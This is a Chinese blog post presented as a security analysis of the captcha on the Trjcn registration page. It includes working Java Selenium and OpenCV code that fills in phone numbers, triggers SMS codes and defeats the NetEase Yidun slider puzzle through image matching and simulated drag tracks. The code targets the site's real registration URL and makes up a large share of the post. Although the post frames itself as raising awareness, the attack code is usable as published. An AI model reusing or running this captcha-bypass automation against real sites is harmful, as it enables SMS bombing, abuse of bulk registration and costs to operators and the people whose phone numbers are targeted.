当前位置：首页 > news >正文

【投融界-注册安全分析报告】

news 来源：原创 2024/9/20 12:25:23

前言

由于网站注册入口容易被黑客攻击，存在如下安全问题：

暴力破解密码，造成用户信息泄露
短信盗刷的安全问题，影响业务及导致用户投诉
带来经济损失，尤其是后付费客户，风险巨大，造成亏损无底洞

所以大部分网站及App 都采取图形验证码或滑动验证码等交互解决方案，但在机器学习能力提高的当下，连百度这样的大厂都遭受攻击导致点名批评，图形验证及交互验证方式的安全性到底如何？请看具体分析

一、投融界 PC端注册入口

简介：投融界是国内专业的一站式创业服务平台，在企业服务领域专业深耕14年。“以服务提升价值，成为最受信赖的服务企业”为发展使命，依托“科技+服务”的核心优势，不断拓展服务边界、创新服务模式，旨在为创业者提供高质量、个性化、多资源、全场景的陪伴式服务，为每一份创业梦想保驾护航。

在这里插入图片描述

二、安全性分析报告：

采用网易的滑动行为验证方式，容易被模拟器绕过甚至逆向后暴力攻击，滑动拼图识别率在 95% 以上。该网站采用了严格的IP 限制，同一个IP操作3-6次后，即使手动换浏览器也提示 “您更换手机号超过系统限制无法继续发送，请联系客服” 或“发送过于频繁请稍后再试！”

在这里插入图片描述

三、测试方法：

前端界面分析为网易易盾的滑动验证码，网上有大量现成的逆向文章及视频参考，不过我们这次不用逆向，只是采用模拟器的方式，关键点主要模拟器交互、距离识别和轨道算法3部分
在这里插入图片描述

估计投融界被机器攻击的比较厉害，滑动验证并未带来安全保护，所以技术人员采取严格的 IP限制及频次控制，如果同IP 多用户则会误拦截：

提示一“您更换手机号超过系统限制无法继续发送，请联系客服”

在这里插入图片描述

提示二：“发送过于频繁请稍后再试！”

在这里插入图片描述

1. 模拟器交互部分


private final String INDEX_URL = "https://www.trjcn.com/register.html";@Overridepublic RetEntity send(WebDriver driver, String areaCode, String phone) {try {RetEntity retEntity = new RetEntity();driver.get(INDEX_URL);// 输入手机号WebElement phoneElemet = ChromeDriverManager.waitElement(driver, By.id("J-mobile-popup"), 10);phoneElemet.sendKeys(phone);Thread.sleep(1000);WebElement sendElement = ChromeDriverManager.waitElement(driver, By.id("T-reg-mobile-popup-code"), 10);if (sendElement != null) {sendElement.click();Thread.sleep(1000);}WebElement popElement = ChromeDriverManager.waitElement(driver, By.id("J-mobile-popup-info"), 5);String errInfo = (popElement != null && popElement.isDisplayed()) ? popElement.getText() : null;if (errInfo != null && (errInfo.contains("超过系统限制") || errInfo.contains("发送过于频繁"))) {System.out.println("errInfo=" + errInfo);return retEntity;}if (errInfo == null || "".equals(errInfo)) {boolean result = netEasy.moveExec(driver);System.out.println("result=" + result);}String info = sendElement.getText();if (info.contains("秒后重新发送")) {retEntity.setRet(0);retEntity.setMsg("成功");return retEntity;} else {System.out.println("info=" + info);}return retEntity;} catch (Exception e) {System.out.println("send() phone=" + phone + ",e=" + e.toString());StringBuffer er = new StringBuffer("send() " + e.toString() + "\n");for (StackTraceElement elment : e.getStackTrace())er.append(elment.toString() + "\n");System.out.println(er.toString());return null;} finally {driver.manage().deleteAllCookies();}}

2. 距离识别


/*** Open Cv 图片模板匹配* * @param tpPath*            模板图片路径* @param bgPath*            目标图片路径* @return { width, maxX }*/public String[] getWidth(String tpPath, String bgPath, String resultFile) {try {Rect rectCrop = clearWhite(tpPath);Mat g_tem = Imgcodecs.imread(tpPath);Mat clearMat = g_tem.submat(rectCrop);Mat cvt = new Mat();Imgproc.cvtColor(clearMat, cvt, Imgproc.COLOR_RGB2GRAY);Mat edgesSlide = new Mat();Imgproc.Canny(cvt, edgesSlide, threshold1, threshold2);Mat cvtSlide = new Mat();Imgproc.cvtColor(edgesSlide, cvtSlide, Imgproc.COLOR_GRAY2RGB);Imgcodecs.imwrite(tpPath, cvtSlide);Mat g_b = Imgcodecs.imread(bgPath);Mat edgesBg = new Mat();Imgproc.Canny(g_b, edgesBg, threshold1, threshold2);Mat cvtBg = new Mat();Imgproc.cvtColor(edgesBg, cvtBg, Imgproc.COLOR_GRAY2RGB);int result_rows = cvtBg.rows() - cvtSlide.rows() + 1;int result_cols = cvtBg.cols() - cvtSlide.cols() + 1;Mat g_result = new Mat(result_rows, result_cols, CvType.CV_32FC1);Imgproc.matchTemplate(cvtBg, cvtSlide, g_result, Imgproc.TM_CCOEFF_NORMED); // 归一化平方差匹配法// 归一化相关匹配法MinMaxLocResult minMaxLoc = Core.minMaxLoc(g_result);Point maxLoc = minMaxLoc.maxLoc;Imgproc.rectangle(cvtBg, maxLoc, new Point(maxLoc.x + cvtSlide.cols(), maxLoc.y + cvtSlide.rows()), new Scalar(0, 0, 255), 1);Imgcodecs.imwrite(resultFile, cvtBg);String width = String.valueOf(cvtSlide.cols());String maxX = String.valueOf(maxLoc.x + cvtSlide.cols());System.out.println("OpenCv2.getWidth() width=" + width + ",maxX=" + maxX);return new String[] { width, maxX };} catch (Throwable e) {System.out.println("getWidth() " + e.toString());logger.error("getWidth() " + e.toString());for (StackTraceElement elment : e.getStackTrace()) {logger.error(elment.toString());}return null;}}

轨道生成及移动算法


public boolean moveExec(WebDriver driver) {// 获取滑动按钮try {WebElement moveElemet = ChromeDriverManager.waitElement(driver, By.className("yidun_slider"), 400);if (moveElemet == null) {return false;} else {Actions actions = new Actions(driver);actions.clickAndHold(moveElemet).perform();}Thread.sleep(1000);// 获取带阴影的背景图WebElement bg = ChromeDriverManager.waitElement(driver, By.className("yidun_bg-img"), 400);String bUrl = bg.getAttribute("src");if (bUrl == null) {System.out.println("bUrl=" + bUrl);return false;}// 获取小图WebElement s = ChromeDriverManager.waitElement(driver, By.className("yidun_jigsaw"), 400);String sUrl = s.getAttribute("src");if (sUrl == null) {System.out.println("sUrl=" + sUrl);return false;}Map<String, String> outMap = getMoveDistance(bUrl, sUrl);String openWidth = outMap != null ? outMap.get("width") : null;String openDistance = outMap != null ? outMap.get("distance") : null;// 计算匹配到的位置int distance = (openWidth != null && openDistance != null) ? (int) (Double.parseDouble(openDistance) - Integer.parseInt(openWidth) + 2) : 0;System.out.println("getMoveDistance() distance=" + distance + "outMap=" + outMap);if (distance == 0) {System.out.println("err distance=" + distance + "|openWidth=" + openWidth + ",openDistance=" + openDistance);return false;}moveElemet.click();// 滑动ActionMove.move(driver, moveElemet, distance);String moveStr = null;WebElement yidunElement;for (int i = 0; i <= 40; i++) {yidunElement = ChromeDriverManager.waitElement(driver, By.className("yidun--light"), 400);moveStr = (moveStr != null) ? yidunElement.getAttribute("class") : null;if (moveStr != null && moveStr.contains("yidun--success")) {System.out.println("succ distance=" + distance);driver.findElement(By.id("nickname")).click();Thread.sleep(500);driver.findElements(By.className("sms-code")).get(1).click();Thread.sleep(500);break;}System.out.print(".");Thread.sleep(50);}return true;} catch (Exception e) {return false;}}

OpenCv 轮廓匹配测试样例：

四丶结语

投融界作为互联网投资的平台，拥有一定的技术资源，采用的是通俗的滑动验证产品+ IP限制的策略， IP限制措施存在一定的误拦截，比如搞活动时，由于用户是同一个热点，就可能被误拦截，
滑动验证码行为验证产品稳定并且市场占有率很高，在一定程度上提高了用户体验，但安全性在机器学习的今天，已经无法应对攻击了，并且正是由于该产品通俗，所以在网上破解的文章和教学视频也是大量存在，并且经过验证滑动产品很容易被破解，所以除了滑动验证方式，花样百出的产品层出不穷，但本质就是牺牲用户体验来提高安全。

很多人在短信服务刚开始建设的阶段，可能不会在安全方面考虑太多，理由有很多。
比如：“ 需求这么赶，当然是先实现功能啊 ”，“ 业务量很小啦，系统就这么点人用，不怕的 ” ， “ 我们怎么会被盯上呢，不可能的 ”等等。

有一些理由虽然有道理，但是该来的总是会来的。前期欠下来的债，总是要还的。越早还，问题就越小，损失就越低。

所以大家在安全方面还是要重视。（血淋淋的栗子！）#安全短信#

戳这里→康康你手机号在过多少网站注册过！！！

谷歌图形验证码在AI 面前已经形同虚设，所以谷歌宣布退出验证码服务，那么当所有的图形验证码都被破解时，大家又该如何做好防御呢？

>>相关阅读
《腾讯防水墙滑动拼图验证码》
《百度旋转图片验证码》
《网易易盾滑动拼图验证码》
《顶象区域面积点选验证码》
《顶象滑动拼图验证码》
《极验滑动拼图验证码》
《使用深度学习来破解 captcha 验证码》
《验证码终结者-基于CNN+BLSTM+CTC的训练部署套件》